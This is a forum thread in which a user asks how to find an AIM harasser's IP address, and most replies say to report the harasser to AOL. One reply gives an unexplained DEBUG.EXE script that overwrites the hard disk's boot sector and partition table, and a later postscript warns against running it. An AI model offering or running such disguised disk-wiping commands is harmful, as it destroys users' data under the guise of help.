    Trying To Figure Out A Stranger

    Hi everyone... I'm not that great with security or hacking so I decided to come here for help.

    I'm not doing this for fun or anything. Story is, I have this guy who IM's my friends and I on AIM talking about how he wants to make us crash and burn and then make our lives miserable. Apparantly, he has been stalking us also because he knows when and where we hang out every night. I'm guessing he's someone from the past trying to scare us but it's getting so irritating.

    So, I was wondering... what's a good way to find someone's IP address on AIM for a newbie? I want to figure out this guy's deal before he actually goes through with his threats.

    Report him to AOL.


    If you cannot get his IP address on your own, you will not be able to do anything to him when you find it.

    And even if you did manage to get an IP, the person could be using a Proxy.

    I would just do as Dop has suggested and just report him/her and send a copy of the messages that they have sent.
    And let them take care of the rest..

    I'm intrigued to know how to trace the true IP address if someone is using a proxy. The suggetsion in this thread is that AOL could do somthing about the posts so, presumably, they could find the true IP address. I know that no proxy allows absolute anonymity.

    But what if they were using some person's computer that they had slyly installed a root kit on.?
    So then AOL thinking they've caught the person gain the IP details from this innocent person.
    They then call the ISP get the innocent person's internet canceled, then realise that infact that they got the wrong person, and then they are at the start once again..
    By that time the attacker would be long gone sending hate mail to some other person..

    cheers

    In my opinion you sound like a skiddie trying to get a friends IP to packet them. If you really aren't lieing just take everybodies advice and just report it to AOL, even if they are using AIM, I would suspect that they can help you out anyways since it IS AOL Instant Messenger

    infectedkilljoy:

    Create a text file called A:\DELPART.TXT with your favorite text editor. Then copy the next few lines of text...
    a 100 int13rax
    0301
    rbx
    0200
    f 200 l 200 0
    rcx
    0001
    rdx
    0080
    p
    q
    ...into the file and copy it to a DOS boot floppy along with a copy of DEBUG.EXE.

    Boot with the floppy and at the command prompt, type:

    Debug < Delpart.txt

    Or report to AOL and move on.

    Seriously; WTF are you going to do with an IP Address? Nmap? DdoS? Break into the ISP's Finance department, get their address and burn the house down?

    Another year and still the same ****!

    P.S. DO NOT USE THE ABOVE COMMANDS *****************************
